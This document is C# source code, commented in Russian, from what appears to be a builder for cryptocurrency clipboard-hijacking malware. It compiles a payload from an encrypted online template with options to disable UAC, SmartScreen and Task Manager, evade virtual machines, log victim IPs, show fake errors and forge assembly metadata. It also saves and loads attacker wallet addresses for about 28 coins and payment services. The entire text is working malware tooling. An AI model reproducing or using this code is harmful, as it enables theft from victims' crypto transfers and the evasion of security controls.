/// <summary> /// Метод для компиляции исходного кода /// </summary> /// <param name="values">Данные из словаря (контейнера)</param> /// <param name="build">Передача данных через свойства</param> /// <returns>Исходно-изменённый файл</returns> public static bool Inizialize(Dictionary <string, string> values, Build build) { // Запускаем антисниффер new Thread(() => { AntiSniffer.Inizialize(); }).Start(); // Расшифровываем онлайн билд через ключ string SourceCode = INetConnect.GetOnlineBuild(EncryptKey.Decrypt(GlobalPath.DatabaseBuild, GlobalPath.SecretKey_Public)); #region ComboBox replace Boolean values SourceCode = build.DelayCheckStatus.Checked ? SourceCode.Replace("[Delay]", "true") : SourceCode.Replace("[Delay]", "false"); SourceCode = build.RunCheckStatus.Checked ? SourceCode.Replace("[Run]", "true") : SourceCode.Replace("[Run]", "false"); SourceCode = build.GarbageCheckStatus.Checked ? SourceCode.Replace("[Garbage]", "true") : SourceCode.Replace("[Garbage]", "false"); SourceCode = build.UacOffCheckStatus.Checked ? SourceCode.Replace("[Uac]", "true") : SourceCode.Replace("[Uac]", "false"); SourceCode = build.SmartOffCheckStatus.Checked ? SourceCode.Replace("[Smart]", "true") : SourceCode.Replace("[Smart]", "false"); SourceCode = build.TaskMgrOffCheckStatus.Checked ? SourceCode.Replace("[TaskLock]", "true") : SourceCode.Replace("[TaskLock]", "false"); SourceCode = build.AntiVMCheckStatus.Checked ? SourceCode.Replace("[Anti]", "true") : SourceCode.Replace("[Anti]", "false"); SourceCode = build.IPLogheckStatus.Checked ? SourceCode.Replace("[IPloger]", "true") : SourceCode.Replace("[IPloger]", "false"); SourceCode = build.FakeErrorCheckStatus.Checked ? SourceCode.Replace("[Fake]", "true") : SourceCode.Replace("[Fake]", "false"); #endregion SourceCode = SourceCode.Replace("[TEXT_ERROR]", build.ErrorBox); #region Replacement Assembly SourceCode = SourceCode.Replace("[TITLE]", build.AssTitle). Replace("[DESCRIPTION]", build.AssDescription). Replace("[COMPANY]", build.AssCompany). Replace("[PRODUCT]", build.AssProduct). Replace("[COPYRIGHT]", build.AssCopyright). Replace("[VERSION]", build.AssVersion). Replace("[FILEVERSION]", build.AssFileVersion). Replace("[GUID]", build.GuidBox). Replace("[WEB]", build.IPLoGGeR); #endregion #region Replace data user interfaces foreach (KeyValuePair <string, string> kvp in values) { SourceCode = SourceCode?.Replace(kvp.Key, kvp.Value); } #endregion // Версия .Net Framework для билда var providerOptions = new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }; // Инициализация нового экземпляра класса CSharpCodeProvider using (var provider = new CSharpCodeProvider(providerOptions)) { try { // Дефолтные параметры для компиляции var parameters = new CompilerParameters { CompilerOptions = "/target:winexe /optimize+ /platform:anycpu", // Дополнительные параметры для компиляции TreatWarningsAsErrors = false, GenerateInMemory = false, IncludeDebugInformation = false, }; switch (build.ComboOutputExtension.SelectedItem.ToString().Trim()) { case ".dll": { parameters.OutputAssembly += $"{build.BoxFileName}.exe"; // Выходной файл .dll ( изначальный .exe после обфускации в .dll ) parameters.GenerateExecutable = false; } break; default: parameters.OutputAssembly += $"{build.BoxFileName}.exe"; // Выходной файл .exe parameters.GenerateExecutable = true; // Генерация в .exe break; } if (!string.IsNullOrEmpty(build.BoxIcon) || FileControl.ExistsFile(build.BoxIcon)) // Проверка на обнаружение иконки { parameters.CompilerOptions += $" /win32icon:{build.BoxIcon}"; // Добавляем иконку } if (build.RunCheckStatus.Checked) // Проверка запуска от Админа { if (FileControl.ExistsFile(GlobalPath.ManifestFile)) // Проверка файла app.Manifest { parameters.CompilerOptions += $" /win32manifest:{GlobalPath.ManifestFile}"; // внедряем запуск от Админа } else { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.FindManifest); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.FindManifest); } } } // Добавление ссылок для компиляции билда #region Add Library Dll for (int i = 0; i < list_library.Count; i++) { parameters.ReferencedAssemblies.Add(list_library[i]); } #endregion // Компиляция! CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, SourceCode); // Проверка на ошибки if (!ResultLog.Errors.HasErrors) { SourceCode = null; ResultLog = null; FileControl.FileDelete("Error_Compiler.txt"); MusicPlay.Inizialize(Resources.GoodBuild); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BuildCreated); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BuildCreated); } string tte = FileControl.CombinePath(GlobalPath.CurrDir, $"{build.BoxFileName}.exe"); // Расширения для билд файла switch (build.ComboOutputExtension.SelectedIndex) { case 1: FileControl.Move(tte, Path.ChangeExtension(tte, ".dll")); break; default: FileControl.Move(tte, Path.ChangeExtension(tte, ".exe")); break; } return(true); } else { MusicPlay.Inizialize(Resources.Error_Build); // Проходимся циклом чтобы перечислить все ошибки которые возникли и записать их в файл .txt foreach (CompilerError compilerError in ResultLog.Errors) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Error_Compiler.txt", $"Error: {compilerError.ToString()} \r\nLine: {compilerError.Line}\r\n"); } else { FileControl.CreateFile("Error_Compiler.txt", $"Ошибка: {compilerError.ToString()} \r\nСтрока: {compilerError.Line}\r\n"); } } return(false); } } catch (Exception ex) // Остальные (неизвестные ошибки) записать в файл .txt { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.ErrorBuild); FileControl.CreateFile("Compile_Error.txt", $"Error: {ex.Message}\r\n"); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.ErrorBuild); FileControl.CreateFile("Compile_Error.txt", $"Ошибка: {ex.Message}\r\n"); } return(false); } } }
/// <summary> /// Метод для загрузки данных из файла в TextBox'ы /// </summary> /// <param name="path"></param> private void LoadDataFromFile(string path) { if (FileControl.ExistsFile(path)) { try { string[] text = File.ReadAllLines(path); // 0 + 1 this.BitcointBox.Text = EncryptKey.Decrypt(text[0], GlobalPath.SecretKey_Public); this.DarkBitcoinBox.Text = EncryptKey.Decrypt(text[1], GlobalPath.SecretKey_Public); this.BitCashBox.Text = EncryptKey.Decrypt(text[2], GlobalPath.SecretKey_Public); this.BitGoldBox.Text = EncryptKey.Decrypt(text[3], GlobalPath.SecretKey_Public); this.BinanceBox.Text = EncryptKey.Decrypt(text[4], GlobalPath.SecretKey_Public); this.BytecoinBox.Text = EncryptKey.Decrypt(text[5], GlobalPath.SecretKey_Public); this.BlackjackBox.Text = EncryptKey.Decrypt(text[6], GlobalPath.SecretKey_Public); this.BlockNetBox.Text = EncryptKey.Decrypt(text[7], GlobalPath.SecretKey_Public); this.DashBox.Text = EncryptKey.Decrypt(text[8], GlobalPath.SecretKey_Public); this.DogeBox.Text = EncryptKey.Decrypt(text[9], GlobalPath.SecretKey_Public); this.DonAlertBox.Text = EncryptKey.Decrypt(text[10], GlobalPath.SecretKey_Public); this.PayeerBox.Text = EncryptKey.Decrypt(text[11], GlobalPath.SecretKey_Public); this.XmrBox.Text = EncryptKey.Decrypt(text[12], GlobalPath.SecretKey_Public); this.StellarBox.Text = EncryptKey.Decrypt(text[13], GlobalPath.SecretKey_Public); this.QtumBox.Text = EncryptKey.Decrypt(text[14], GlobalPath.SecretKey_Public); this.QiwiBox.Text = EncryptKey.Decrypt(text[15], GlobalPath.SecretKey_Public); this.EtherBox.Text = EncryptKey.Decrypt(text[16], GlobalPath.SecretKey_Public); this.EosBox.Text = EncryptKey.Decrypt(text[17], GlobalPath.SecretKey_Public); this.LiskBox.Text = EncryptKey.Decrypt(text[18], GlobalPath.SecretKey_Public); this.LiteBox.Text = EncryptKey.Decrypt(text[19], GlobalPath.SecretKey_Public); this.WavesBox.Text = EncryptKey.Decrypt(text[20], GlobalPath.SecretKey_Public); this.RippleBox.Text = EncryptKey.Decrypt(text[21], GlobalPath.SecretKey_Public); this.AdaBox.Text = EncryptKey.Decrypt(text[22], GlobalPath.SecretKey_Public); this.IotaBox.Text = EncryptKey.Decrypt(text[23], GlobalPath.SecretKey_Public); this.ZcashBox.Text = EncryptKey.Decrypt(text[24], GlobalPath.SecretKey_Public); this.NeoBox.Text = EncryptKey.Decrypt(text[25], GlobalPath.SecretKey_Public); this.TronBox.Text = EncryptKey.Decrypt(text[26], GlobalPath.SecretKey_Public); this.YandexBox.Text = EncryptKey.Decrypt(text[27], GlobalPath.SecretKey_Public); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataLoader); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataLoader); } } catch (Exception ex) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLoader); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLoader); } FileControl.CreateFile(FileControl.CombinePath(GlobalPath.CurrDir, "ErrorLoad.txt"), ex.Message); } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FileExists); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FileExists); } } }
private void ShowLogger_Click(object sender, EventArgs e) => ControlActive.ControlVisible(this.MainPanel, new LoGGeR());
/// <summary> /// Метод для сохранения данных в файла из TextBox'ов /// </summary> /// <param name="path"></param> public void SaveDataInFile(string path) { try { if (!CheckIsEmptyBoxs()) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.EmptySave); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.EmptySave); } } else { using var sw = new StreamWriter(path); sw.WriteLine(EncryptKey.Encrypt(this.BitcointBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.DarkBitcoinBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.BitCashBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.BitGoldBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.BinanceBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.BytecoinBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.BlackjackBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.BlockNetBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.DashBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.DogeBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.DonAlertBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.PayeerBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.XmrBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.StellarBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.QtumBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.QiwiBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.EtherBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.EosBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.LiskBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.LiteBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.WavesBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.RippleBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.AdaBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.IotaBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.ZcashBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.NeoBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.TronBox.Text, GlobalPath.SecretKey_Public)); sw.WriteLine(EncryptKey.Encrypt(this.YandexBox.Text, GlobalPath.SecretKey_Public)); // 28 sw.Flush(); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataSave); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataSave); } } } catch (Exception ex) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorSave); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorSave); } FileControl.CreateFile(FileControl.CombinePath(GlobalPath.CurrDir, "ErrorSave.txt"), ex.Message); } }